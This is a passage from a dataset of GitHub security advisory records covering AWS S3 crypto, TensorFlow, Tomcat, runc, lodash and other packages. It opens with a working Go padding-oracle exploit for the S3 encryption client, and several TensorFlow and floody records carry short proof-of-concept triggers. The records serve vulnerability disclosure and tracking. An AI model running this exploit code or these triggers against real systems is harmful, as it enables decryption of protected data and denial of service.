A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.
This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go):
```golang
func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
}
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
padding := byte(len(data) - length)
plaintext := make([]byte, length)
for i := length - 1; i >= 0; i-- {
newLength := 16 * (i/16 + 1)
dataCopy := make([]byte, newLength)
headerCopy := header.Clone()
copy(dataCopy, data)
// Set Padding
newPadding := byte(newLength - i)
for j := i + 1; j < newLength; j++ {
var oldValue byte
if j >= length {
oldValue = padding
} else {
oldValue = plaintext[j]
}
dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
if err != nil {
return "", err
}
}
// Guess
for c := 0; c < 256; c++ {
dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
if input.Oracle(bucket, key+"guess") {
plaintext[i] = byte(c)
break
}
dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
}
}
return string(plaintext), nil
}
``` | {'CVE-2020-8911'} | 2022-04-19T19:02:32Z | 2022-02-11T23:26:26Z | MODERATE | 5.6 | {'CWE-327'} | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/aws/aws-sdk-go/pull/3403', 'https://github.com/advisories/GHSA-f5pg-7wfw-84q9', 'https://bugzilla.redhat.com/show_bug.cgi?id=1869800', 'https://github.com/google/security-research/security/advisories/GHSA-f5pg-7wfw-84q9', 'https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc', 'https://aws.amazon.com/blogs/developer/updates-to-the-amazon-s3-encryption-client/?s=09', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8911'} | null | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4'} | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4'} |
GHSA | GHSA-5hjh-c26m-xw8w | ProxyScotch is vulnerable to a server-side Request Forgery (SSRF) | ProxyScotch is a simple proxy server created for hoppscotch.io. The package github.com/hoppscotch/proxyscotch before 1.0.0 are vulnerable to Server-side Request Forgery (SSRF) when interceptor mode is set to proxy. It occurs when an HTTP request is made by a backend server to an untrusted URL submitted by a user. It leads to a leakage of sensitive information from the server. | {'CVE-2022-25850'} | 2022-05-04T20:14:03Z | 2022-05-03T00:00:44Z | HIGH | 7.5 | {'CWE-918'} | {'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMHOPPSCOTCHPROXYSCOTCH-2435228', 'https://nvd.nist.gov/vuln/detail/CVE-2022-25850', 'https://github.com/hoppscotch/proxyscotch/commit/de67380f62f907f201d75854b76024ba4885fab7', 'https://github.com/advisories/GHSA-5hjh-c26m-xw8w'} | null | {'https://github.com/hoppscotch/proxyscotch/commit/de67380f62f907f201d75854b76024ba4885fab7'} | {'https://github.com/hoppscotch/proxyscotch/commit/de67380f62f907f201d75854b76024ba4885fab7'} |
GHSA | GHSA-59g9-7gfx-c72p | Infinite loop in Tomcat due to parsing error | Apache Tomcat 8.5.0 to 8.5.63, 9.0.0-M1 to 9.0.43 and 10.0.0-M1 to 10.0.2 did not properly validate incoming TLS packets. When Tomcat was configured to use NIO+OpenSSL or NIO2+OpenSSL for TLS, a specially crafted packet could be used to trigger an infinite loop resulting in a denial of service. | {'CVE-2021-41079'} | 2021-10-18T18:40:16Z | 2021-09-20T20:45:44Z | HIGH | 7.5 | {'CWE-20'} | {'https://www.debian.org/security/2021/dsa-4986', 'https://lists.debian.org/debian-lts-announce/2021/09/msg00012.html', 'https://security.netapp.com/advisory/ntap-20211008-0005/', 'https://lists.apache.org/thread.html/rb4de81ac647043541a32881099aa6eb5a23f1b7fd116f713f8ab9dbe@%3Cdev.tomcat.apache.org%3E', 'https://lists.apache.org/thread.html/r6b6b674e3f168dd010e67dbe6848b866e2acf26371452fdae313b98a@%3Cusers.tomcat.apache.org%3E', 'https://github.com/advisories/GHSA-59g9-7gfx-c72p', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41079', 'https://github.com/apache/tomcat/commit/34115fb3c83f6cd97772232316a492a4cc5729e0', 'https://lists.apache.org/thread.html/rccdef0349fdf4fb73a4e4403095446d7fe6264e0a58e2df5c6799434%40%3Cannounce.tomcat.apache.org%3E'} | null | {'https://github.com/apache/tomcat/commit/34115fb3c83f6cd97772232316a492a4cc5729e0'} | {'https://github.com/apache/tomcat/commit/34115fb3c83f6cd97772232316a492a4cc5729e0'} |
GHSA | GHSA-j739-gw6q-f4c7 | HTML Injection in Froxlor | Froxlor through 0.10.22 does not perform validation on user input passed in the customermail GET parameter. The value of this parameter is reflected in the login webpage, allowing the injection of arbitrary HTML tags.
Note: Froxlor version 0.10.22 introduces AntiXSS cross-site scripting protection, but AntiXSS only provides partial protection for this particular issue. | {'CVE-2020-29653'} | 2022-04-22T20:41:49Z | 2022-04-14T00:00:19Z | MODERATE | 6.1 | {'CWE-79'} | {'https://nozero.io/en/cve-2020-29653-froxlor-html-injection-dangling-markup/', 'https://github.com/Froxlor/Froxlor/security/advisories', 'https://github.com/advisories/GHSA-j739-gw6q-f4c7', 'https://github.com/Froxlor/Froxlor/commit/6bf5eccc2477257b6c1760a3c3784ae7e0554ce0', 'https://nvd.nist.gov/vuln/detail/CVE-2020-29653'} | null | {'https://github.com/Froxlor/Froxlor/commit/6bf5eccc2477257b6c1760a3c3784ae7e0554ce0'} | {'https://github.com/Froxlor/Froxlor/commit/6bf5eccc2477257b6c1760a3c3784ae7e0554ce0'} |
GHSA | GHSA-fvqr-27wr-82fm | Prototype Pollution in lodash | Versions of `lodash` before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.
## Recommendation
Update to version 4.17.5 or later. | {'CVE-2018-3721'} | 2021-01-08T18:51:08Z | 2018-07-26T15:14:52Z | LOW | 0 | {'CWE-471'} | {'https://www.npmjs.com/advisories/577', 'https://github.com/lodash/lodash/commit/d8e069cc3410082e44eb18fcf8e7f3d08ebe1d4a', 'https://nvd.nist.gov/vuln/detail/CVE-2018-3721', 'https://security.netapp.com/advisory/ntap-20190919-0004/', 'https://github.com/advisories/GHSA-fvqr-27wr-82fm', 'https://hackerone.com/reports/310443'} | null | {'https://github.com/lodash/lodash/commit/d8e069cc3410082e44eb18fcf8e7f3d08ebe1d4a'} | {'https://github.com/lodash/lodash/commit/d8e069cc3410082e44eb18fcf8e7f3d08ebe1d4a'} |
GHSA | GHSA-hjhp-hwfj-hwf3 | Cross Site Request Forgery in firefly-iii | firefly-iii is vulnerable to a Cross-Site Request Forgery (CSRF) attack which can disable two factor authentication for the target user. | {'CVE-2021-4005'} | 2021-12-10T20:20:08Z | 2021-12-10T20:20:08Z | MODERATE | 4.3 | {'CWE-352'} | {'https://github.com/advisories/GHSA-hjhp-hwfj-hwf3', 'https://huntr.dev/bounties/bf4ef581-325a-492d-a710-14fcb53f00ff', 'https://github.com/firefly-iii/firefly-iii/commit/03a1601bf343181df9f405dd2109aec483cb7053', 'https://nvd.nist.gov/vuln/detail/CVE-2021-4005'} | null | {'https://github.com/firefly-iii/firefly-iii/commit/03a1601bf343181df9f405dd2109aec483cb7053'} | {'https://github.com/firefly-iii/firefly-iii/commit/03a1601bf343181df9f405dd2109aec483cb7053'} |
GHSA | GHSA-hq3v-rg6f-6hx4 | Use of Insufficiently Random Values in yiisoft/yii2-dev | yii2 is vulnerable to Use of Predictable Algorithm in Random Number Generator | {'CVE-2021-3689'} | 2021-09-01T18:35:34Z | 2021-09-01T18:35:34Z | HIGH | 7.5 | {'CWE-330'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-3689', 'https://github.com/advisories/GHSA-hq3v-rg6f-6hx4', 'https://huntr.dev/bounties/50aad1d4-eb00-4573-b8a4-dbe38e2c229f', 'https://github.com/yiisoft/yii2/commit/13f27e4d920a05d53236139e8b07007acd046a46'} | null | {'https://github.com/yiisoft/yii2/commit/13f27e4d920a05d53236139e8b07007acd046a46'} | {'https://github.com/yiisoft/yii2/commit/13f27e4d920a05d53236139e8b07007acd046a46'} |
GHSA | GHSA-3x4c-pq33-4w3q | Improper authorisation of members discloses room membership to non-members | ### Impact
Unauthorised users can access the membership (list of members, with their display names) of a room if they know the ID of the room. The vulnerability is limited to rooms with `shared` history visibility. Furthermore, the unauthorised user must be using an account on a vulnerable homeserver that is in the room.
### Patches
Server administrators should upgrade to 1.41.1 or later.
### Workarounds
Administrators of servers that use a reverse proxy could, with potentially unacceptable loss of functionality, block the following endpoints:
* `/_matrix/client/r0/rooms/{room_id}/members` with `at` query parameter
* `/_matrix/client/unstable/rooms/{room_id}/members` with `at` query parameter
### References
n/a
### For more information
If you have any questions or comments about this advisory, e-mail us at security@matrix.org. | {'CVE-2021-39164'} | 2022-04-19T19:03:11Z | 2021-09-01T18:25:27Z | LOW | 3.1 | {'CWE-200'} | {'https://github.com/advisories/GHSA-3x4c-pq33-4w3q', 'https://github.com/matrix-org/synapse/commit/cb35df940a', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXT7ID7DNBRN2TVTETU3SYQHJKEG6PXN/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-39164', 'https://github.com/matrix-org/synapse/releases/tag/v1.41.1', 'https://github.com/matrix-org/synapse/security/advisories/GHSA-3x4c-pq33-4w3q', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2VHDEPCZ22GJFMZCWA2XZAGPOEV72POF/'} | null | {'https://github.com/matrix-org/synapse/commit/cb35df940a'} | {'https://github.com/matrix-org/synapse/commit/cb35df940a'} |
GHSA | GHSA-6xhg-q9c8-rj32 | Credential leak in react-native-fast-image | This affects all versions before version 8.3.0 of package react-native-fast-image. When an image with source={{uri: "...", headers: { host: "somehost.com", authorization: "..." }} is loaded, all other subsequent images will use the same headers, this can lead to signing credentials or other session tokens being leaked to other servers. | {'CVE-2020-7696'} | 2021-05-18T01:52:54Z | 2021-05-18T01:52:54Z | MODERATE | 5.3 | {'CWE-200'} | {'https://github.com/DylanVann/react-native-fast-image/commit/4a7cd64f5b0aa40b04d63ccb105ee2b511abe624', 'https://github.com/advisories/GHSA-6xhg-q9c8-rj32', 'https://snyk.io/vuln/SNYK-JS-REACTNATIVEFASTIMAGE-572228', 'https://github.com/DylanVann/react-native-fast-image/issues/690', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7696', 'https://github.com/DylanVann/react-native-fast-image/pull/691'} | null | {'https://github.com/DylanVann/react-native-fast-image/commit/4a7cd64f5b0aa40b04d63ccb105ee2b511abe624'} | {'https://github.com/DylanVann/react-native-fast-image/commit/4a7cd64f5b0aa40b04d63ccb105ee2b511abe624'} |
GHSA | GHSA-mqh2-9wrp-vx84 | Heap buffer overflow in `SparseSplit` | ### Impact
An attacker can cause a heap buffer overflow in `tf.raw_ops.SparseSplit`:
```python
import tensorflow as tf
shape_dims = tf.constant(0, dtype=tf.int64)
indices = tf.ones([1, 1], dtype=tf.int64)
values = tf.ones([1], dtype=tf.int64)
shape = tf.ones([1], dtype=tf.int64)
tf.raw_ops.SparseSplit(
split_dim=shape_dims, indices=indices, values=values,
shape=shape, num_split=1)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/699bff5d961f0abfde8fa3f876e6d241681fbef8/tensorflow/core/util/sparse/sparse_tensor.h#L528-L530) accesses an array element based on a user controlled offset:
```cc
const int dim = input_tensor.indices().matrix<int64>()(i, split_dim);
int slice_index = GetSliceIndex(dim, split_size, residual);
num_values[slice_index]++;
```
This results in overriding values on the heap.
### Patches
We have patched the issue in GitHub commit [8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31](https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team. | {'CVE-2021-29558'} | 2021-05-21T14:24:51Z | 2021-05-21T14:24:51Z | LOW | 2.5 | {'CWE-787'} | {'https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31', 'https://github.com/advisories/GHSA-mqh2-9wrp-vx84', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29558', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mqh2-9wrp-vx84'} | null | {'https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31'} | {'https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31'} |
GHSA | GHSA-98p5-x8x4-c9m5 | Integer overflow in TFLite | ### Impact
An attacker can craft a TFLite model that would cause an integer overflow [in embedding lookup operations](https://github.com/tensorflow/tensorflow/blob/ca6f96b62ad84207fbec580404eaa7dd7403a550/tensorflow/lite/kernels/embedding_lookup_sparse.cc#L179-L189):
```cc
int embedding_size = 1;
int lookup_size = 1;
for (int i = 0; i < lookup_rank - 1; i++, k++) {
const int dim = dense_shape->data.i32[i];
lookup_size *= dim;
output_shape->data[k] = dim;
}
for (int i = 1; i < embedding_rank; i++, k++) {
const int dim = SizeOfDimension(value, i);
embedding_size *= dim;
output_shape->data[k] = dim;
}
```
Both `embedding_size` and `lookup_size` are products of values provided by the user. Hence, a malicious user could trigger overflows in the multiplication.
In certain scenarios, this can then result in heap OOB read/write.
### Patches
We have patched the issue in GitHub commits [f19be71717c497723ba0cea0379e84f061a75e01](https://github.com/tensorflow/tensorflow/commit/f19be71717c497723ba0cea0379e84f061a75e01), [1de49725a5fc4e48f1a3b902ec3599ee99283043](https://github.com/tensorflow/tensorflow/commit/1de49725a5fc4e48f1a3b902ec3599ee99283043) and [a4e401da71458d253b05e41f28637b65baf64be4](https://github.com/tensorflow/tensorflow/commit/a4e401da71458d253b05e41f28637b65baf64be4).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Wang Xuan of Qihoo 360 AIVul Team. | {'CVE-2022-23559'} | 2022-02-11T15:08:16Z | 2022-02-09T23:52:51Z | HIGH | 8.8 | {'CWE-190'} | {'https://github.com/tensorflow/tensorflow/commit/a4e401da71458d253b05e41f28637b65baf64be4', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23559', 'https://github.com/tensorflow/tensorflow/blob/ca6f96b62ad84207fbec580404eaa7dd7403a550/tensorflow/lite/kernels/embedding_lookup_sparse.cc#L179-L189', 'https://github.com/advisories/GHSA-98p5-x8x4-c9m5', 'https://github.com/tensorflow/tensorflow/commit/f19be71717c497723ba0cea0379e84f061a75e01', 'https://github.com/tensorflow/tensorflow/commit/1de49725a5fc4e48f1a3b902ec3599ee99283043', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-98p5-x8x4-c9m5'} | null | {'https://github.com/tensorflow/tensorflow/commit/f19be71717c497723ba0cea0379e84f061a75e01', 'https://github.com/tensorflow/tensorflow/commit/1de49725a5fc4e48f1a3b902ec3599ee99283043', 'https://github.com/tensorflow/tensorflow/commit/a4e401da71458d253b05e41f28637b65baf64be4'} | {'https://github.com/tensorflow/tensorflow/commit/f19be71717c497723ba0cea0379e84f061a75e01', 'https://github.com/tensorflow/tensorflow/commit/1de49725a5fc4e48f1a3b902ec3599ee99283043', 'https://github.com/tensorflow/tensorflow/commit/a4e401da71458d253b05e41f28637b65baf64be4'} |
GHSA | GHSA-8w3x-r6x7-c5r5 | Cross-site Scripting in pimcore | pimcore is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | {'CVE-2021-4084'} | 2021-12-16T14:28:27Z | 2021-12-16T14:28:27Z | MODERATE | 6.1 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-4084', 'https://huntr.dev/bounties/dcb37f19-ba53-4498-b953-d21999279266', 'https://github.com/pimcore/pimcore/commit/3c2a14e676a57e5d77a16255965988eef48f9065', 'https://github.com/advisories/GHSA-8w3x-r6x7-c5r5'} | null | {'https://github.com/pimcore/pimcore/commit/3c2a14e676a57e5d77a16255965988eef48f9065'} | {'https://github.com/pimcore/pimcore/commit/3c2a14e676a57e5d77a16255965988eef48f9065'} |
GHSA | GHSA-g4h2-gqm3-c9wq | Segfault in tf.raw_ops.ImmutableConst | ### Impact
Calling [`tf.raw_ops.ImmutableConst`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/ImmutableConst) with a `dtype` of `tf.resource` or `tf.variant` results in a segfault in the implementation as code assumes that the tensor contents are pure scalars.
```python
>>> import tensorflow as tf
>>> tf.raw_ops.ImmutableConst(dtype=tf.resource, shape=[], memory_region_name="/tmp/test.txt")
...
Segmentation fault
```
### Patches
We have patched the issue in 4f663d4b8f0bec1b48da6fa091a7d29609980fa4 and will release TensorFlow 2.5.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.
### Workarounds
If using `tf.raw_ops.ImmutableConst` in code, you can prevent the segfault by inserting a filter for the `dtype` argument.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. | {'CVE-2021-29539'} | 2021-05-21T14:23:05Z | 2021-05-21T14:23:05Z | LOW | 2.5 | {'CWE-681'} | {'https://github.com/tensorflow/tensorflow/commit/4f663d4b8f0bec1b48da6fa091a7d29609980fa4', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g4h2-gqm3-c9wq', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29539', 'https://github.com/advisories/GHSA-g4h2-gqm3-c9wq'} | null | {'https://github.com/tensorflow/tensorflow/commit/4f663d4b8f0bec1b48da6fa091a7d29609980fa4'} | {'https://github.com/tensorflow/tensorflow/commit/4f663d4b8f0bec1b48da6fa091a7d29609980fa4'} |
GHSA | GHSA-pgcp-m69h-p2gr | Cross-site Scripting (XSS) in moodle | In Moodle, it was possible to include JavaScript when re-naming content bank items. Versions affected: 3.9 to 3.9.2. This is fixed in moodle 3.9.3 and 3.10. | {'CVE-2020-25702'} | 2021-03-29T20:43:08Z | 2021-03-29T20:43:08Z | MODERATE | 6.1 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-25702', 'https://github.com/advisories/GHSA-pgcp-m69h-p2gr', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4NNFCHPPHRJNJROIX6SYMHOC6HMKP3GU/', 'https://bugzilla.redhat.com/show_bug.cgi?id=1895437', 'https://github.com/moodle/moodle/commit/66be08216e647532b295a9132070d2435ecd7ad9', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/B55KXBVAT45MDASJ3EK6VIGQOYGJ4NH6/', 'https://moodle.org/mod/forum/discuss.php?d=413940'} | null | {'https://github.com/moodle/moodle/commit/66be08216e647532b295a9132070d2435ecd7ad9'} | {'https://github.com/moodle/moodle/commit/66be08216e647532b295a9132070d2435ecd7ad9'} |
GHSA | GHSA-mv78-g7wq-mhp4 | Division by zero in padding computation in TFLite | ### Impact
The TFLite computation for size of output after padding, [`ComputeOutSize`](https://github.com/tensorflow/tensorflow/blob/0c9692ae7b1671c983569e5d3de5565843d500cf/tensorflow/lite/kernels/padding.h#L43-L55), does not check that the `stride` argument is not 0 before doing the division.
```cc
inline int ComputeOutSize(TfLitePadding padding, int image_size,
int filter_size, int stride, int dilation_rate = 1) {
int effective_filter_size = (filter_size - 1) * dilation_rate + 1;
switch (padding) {
case kTfLitePaddingSame:
return (image_size + stride - 1) / stride;
case kTfLitePaddingValid:
return (image_size + stride - effective_filter_size) / stride;
default:
return 0;
}
}
```
Users can craft special models such that `ComputeOutSize` is called with `stride` set to 0.
### Patches
We have patched the issue in GitHub commit [49847ae69a4e1a97ae7f2db5e217c77721e37948](https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-29585'} | 2021-05-21T14:26:41Z | 2021-05-21T14:26:41Z | LOW | 2.5 | {'CWE-369'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-29585', 'https://github.com/advisories/GHSA-mv78-g7wq-mhp4', 'https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mv78-g7wq-mhp4'} | null | {'https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948'} | {'https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948'} |
GHSA | GHSA-grvw-q343-58wh | Out-of-bounds write | A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1217, CVE-2019-1237, CVE-2019-1298. | {'CVE-2019-1300'} | 2021-03-29T20:55:57Z | 2021-03-29T20:55:57Z | HIGH | 7.5 | {'CWE-787'} | {'https://github.com/chakra-core/ChakraCore/commit/7e9a2ee60baa95ceb4f48f522f823c812ca90c80', 'https://nvd.nist.gov/vuln/detail/CVE-2019-1300', 'https://github.com/chakra-core/ChakraCore/commit/95b3e3400afb8fa20743657f3a8057fb451e6f69', 'https://github.com/advisories/GHSA-grvw-q343-58wh', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1300'} | null | {'https://github.com/chakra-core/ChakraCore/commit/7e9a2ee60baa95ceb4f48f522f823c812ca90c80', 'https://github.com/chakra-core/ChakraCore/commit/95b3e3400afb8fa20743657f3a8057fb451e6f69'} | {'https://github.com/chakra-core/ChakraCore/commit/7e9a2ee60baa95ceb4f48f522f823c812ca90c80', 'https://github.com/chakra-core/ChakraCore/commit/95b3e3400afb8fa20743657f3a8057fb451e6f69'} |
GHSA | GHSA-v95c-p5hm-xq8f | Overflow in netlink bytemsg length field allows attacker to override netlink-based container configuration | ### Impact
In runc, [netlink](https://www.man7.org/linux/man-pages/man7/netlink.7.html) is used internally as a serialization system for specifying the relevant container configuration to the C portion of our code (responsible for the based namespace setup of containers). In all versions of runc prior to 1.0.3, the encoder did not handle the possibility of an integer overflow in the 16-bit length field for the byte array attribute type, meaning that a large enough malicious byte array attribute could result in the length overflowing and the attribute contents being parsed as netlink messages for container configuration.
This vulnerability requires the attacker to have some control over the configuration of the container and would allow the attacker to bypass the namespace restrictions of the container by simply adding their own netlink payload which disables all namespaces.
Prior to 9c444070ec7bb83995dbc0185da68284da71c554, in practice it was fairly difficult to specify an arbitrary-length netlink message with most container runtimes. The only user-controlled byte array was the namespace paths attributes which can be specified in runc's `config.json`, but as far as we can tell no container runtime gives raw access to that configuration setting -- and having raw access to that setting **would allow the attacker to disable namespace protections entirely anyway** (setting them to `/proc/1/ns/...` for instance). In addition, each namespace path is limited to 4096 bytes (with only 7 namespaces supported by runc at the moment) meaning that even with custom namespace paths it appears an attacker still cannot shove enough bytes into the netlink bytemsg in order to overflow the uint16 counter.
However, out of an abundance of caution (given how old this bug is) we decided to treat it as a potentially exploitable vulnerability with a low severity. After 9c444070ec7bb83995dbc0185da68284da71c554 (which was not present in any release of runc prior to the discovery of this bug), all mount paths are included as a giant netlink message which means that this bug becomes significantly more exploitable in more reasonable threat scenarios.
The main users impacted are those who allow untrusted images with untrusted configurations to run on their machines (such as with shared cloud infrastructure), though as mentioned above it appears this bug was not practically exploitable on any released version of runc to date.
### Patches
The patch for this is d72d057ba794164c3cce9451a00b72a78b25e1ae and runc 1.0.3 was released with this bug fixed.
### Workarounds
To the extent this is exploitable, disallowing untrusted namespace paths in container configuration should eliminate all practical ways of exploiting this bug. It should be noted that untrusted namespace paths would allow the attacker to disable namespace protections entirely even in the absence of this bug.
### References
* commit d72d057ba794 ("runc init: avoid netlink message length overflows")
* https://bugs.chromium.org/p/project-zero/issues/detail?id=2241
### Credits
Thanks to Felix Wilhelm from Google Project Zero for discovering and reporting this vulnerability. In particular, the fact they found this vulnerability so quickly, before we made a 1.1 release of runc (which would've been vulnerable) was quite impressive.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [our repo](https://github.com/opencontainers/runc)
| {'CVE-2021-43784'} | 2022-04-19T19:03:16Z | 2021-12-07T21:22:39Z | MODERATE | 6 | {'CWE-190'} | {'https://github.com/advisories/GHSA-v95c-p5hm-xq8f', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43784', 'https://github.com/opencontainers/runc/commit/f50369af4b571e358f20b139eea52d612eb55eed', 'https://github.com/opencontainers/runc/commit/d72d057ba794164c3cce9451a00b72a78b25e1ae', 'https://github.com/opencontainers/runc/security/advisories/GHSA-v95c-p5hm-xq8f', 'https://github.com/opencontainers/runc/commit/9c444070ec7bb83995dbc0185da68284da71c554', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2241', 'https://lists.debian.org/debian-lts-announce/2021/12/msg00005.html'} | null | {'https://github.com/opencontainers/runc/commit/d72d057ba794164c3cce9451a00b72a78b25e1ae', 'https://github.com/opencontainers/runc/commit/9c444070ec7bb83995dbc0185da68284da71c554', 'https://github.com/opencontainers/runc/commit/f50369af4b571e358f20b139eea52d612eb55eed'} | {'https://github.com/opencontainers/runc/commit/9c444070ec7bb83995dbc0185da68284da71c554', 'https://github.com/opencontainers/runc/commit/f50369af4b571e358f20b139eea52d612eb55eed', 'https://github.com/opencontainers/runc/commit/d72d057ba794164c3cce9451a00b72a78b25e1ae'} |
GHSA | GHSA-gmrf-99gw-vvwj | /user/sessions endpoint allows detecting valid accounts | This Security Advisory is about a vulnerability in eZ Platform v1.13, v2.5, and v3.2, and in Ibexa DXP and Ibexa Open Source v3.3. The /user/sessions endpoint can let an attacker detect if a given username or email refers to a valid account. This can be detected through differences in the response data or response time of certain requests. The fix ensures neither attack is possible. The fix is distributed via Composer.
If you come across a security issue in our products, here is how you can report it to us: https://doc.ibexa.co/en/latest/guide/reporting_issues/#toc | null | 2021-03-11T17:42:08Z | 2021-03-11T17:42:08Z | HIGH | 0 | {'CWE-203'} | {'https://github.com/ezsystems/ezpublish-kernel/commit/b496f073c3f03707d3531a6941dc098b84e3cbed', 'https://packagist.org/packages/ezsystems/ezpublish-kernel', 'https://github.com/advisories/GHSA-gmrf-99gw-vvwj', 'https://github.com/ezsystems/ezpublish-kernel/security/advisories/GHSA-gmrf-99gw-vvwj'} | null | {'https://github.com/ezsystems/ezpublish-kernel/commit/b496f073c3f03707d3531a6941dc098b84e3cbed'} | {'https://github.com/ezsystems/ezpublish-kernel/commit/b496f073c3f03707d3531a6941dc098b84e3cbed'} |
GHSA | GHSA-3p92-886g-qxpq | Remote Memory Exposure in floody | Versions of `floody` before 0.1.1 are vulnerable to remote memory exposure.
.write(number)` in the affected `floody` versions passes a number to Buffer constructor, appending a chunk of uninitialized memory.
Proof of Concept:
```
var f = require('floody')(process.stdout);
f.write(USERSUPPLIEDINPUT);
'f.stop();
## Recommendation
Update to version 0.1.1 or later. | null | 2021-08-04T21:27:04Z | 2019-06-04T15:42:32Z | MODERATE | 5.1 | {'CWE-201'} | {'https://github.com/advisories/GHSA-3p92-886g-qxpq', 'https://snyk.io/vuln/npm:floody:20160115', 'https://github.com/soldair/node-floody/commit/6c44722312131f4ac8a1af40f0f861c85efe01b0', 'https://www.npmjs.com/advisories/601'} | null | {'https://github.com/soldair/node-floody/commit/6c44722312131f4ac8a1af40f0f861c85efe01b0'} | {'https://github.com/soldair/node-floody/commit/6c44722312131f4ac8a1af40f0f861c85efe01b0'} |
